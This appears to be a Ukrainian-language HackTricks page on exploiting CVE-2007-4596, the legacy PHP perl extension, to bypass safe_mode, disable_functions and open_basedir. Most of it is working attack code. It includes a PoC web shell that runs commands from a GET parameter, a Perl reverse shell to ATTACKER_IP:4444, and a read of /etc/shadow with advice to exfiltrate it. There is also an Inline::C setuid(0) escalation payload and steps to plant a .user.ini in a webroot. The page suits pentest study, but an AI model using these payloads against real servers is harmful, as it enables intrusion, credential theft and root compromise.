PHP Perl Extension Safe_mode Bypass Exploit

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Передумови

Проблема, відома як CVE-2007-4596, походить від застарілого розширення PHP perl, яке вбудовує повноцінний інтерпретатор Perl і не дотримується контролів PHP safe_mode, disable_functions або open_basedir. Будь-який PHP worker, що завантажує extension=perl.so, отримує необмежений доступ до Perl eval, тому виконання команд залишається тривіальним навіть коли всі класичні PHP-примітиви для породження процесів заблоковані. Хоч safe_mode і зник у PHP 5.4, багато застарілих shared-hosting стеків та вразливих лабораторій все ще його постачають, тож цей байпас залишається корисним, коли ви натрапляєте на legacy control panels.

Сумісність та статус пакування (2025)

  • Останній реліз PECL (perl-1.0.1, 2013) орієнтований на PHP ≥5.0; PHP 8+ зазвичай не працює через зміни в Zend APIs.
  • PECL витісняється PIE, але старі стекі все ще постачають PECL/pear. Використовуйте наведений нижче потік на цілях PHP 5/7; на новіших PHP очікуйте необхідності понизити версію або перейти на інший шлях ін’єкції (наприклад, userland FFI).

Створення тестового середовища в 2025

  • Завантажте perl-1.0.1 з PECL, скомпілюйте його для гілки PHP, яку ви плануєте атакувати, і завантажте глобально (php.ini) або через dl() (якщо дозволено).
  • Швидкий рецепт для лабораторії на базі Debian:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Під час експлуатації перевірте доступність за допомогою var_dump(extension_loaded('perl')); або print_r(get_loaded_extensions());. Якщо відсутній, шукайте perl.so або зловживайте записуваними записами php.ini/.user.ini, щоб примусово його завантажити.
  • Оскільки інтерпретатор знаходиться всередині PHP worker, зовнішні бінарні файли не потрібні — фільтри вихідного трафіку або чорні списки proc_open не мають значення.

On-host build chain when phpize isreachable

Якщо phpize та build-essential присутні на скомпрометованому хості, ви можете скомпілювати й встановити perl.so без виклику оболонки ОС:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Якщо open_basedir застосовано, переконайтеся, що скинуті .user.ini та .so розташовані в дозволеному шляху; директива extension= все ще враховується всередині basedir. Процес компіляції відповідає PHP manual щодо побудови PECL extensions.

Оригінальний PoC (NetJackal)

З http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, все ще корисно для підтвердження, що розширення відповідає на eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Сучасні покращення Payload

1. Повний TTY через TCP

Вбудований інтерпретатор може завантажити IO::Socket, навіть якщо /usr/bin/perl заблоковано:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape Навіть при open_basedir

Perl ігнорує open_basedir у PHP, тому ви можете читати довільні файли:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Пропустіть вивід через IO::Socket::INET або Net::HTTP, щоб exfiltrate дані, не торкаючись дескрипторів, керованих PHP.

3. Inline Compilation for Privilege Escalation

Якщо Inline::C доступний у системі, компілюйте допоміжний код у межах запиту, не покладаючись на PHP ffi або pcntl:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Вважайте Perl набором інструментів LOLBAS — наприклад, dump MySQL DSNs навіть якщо mysqli відсутній:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks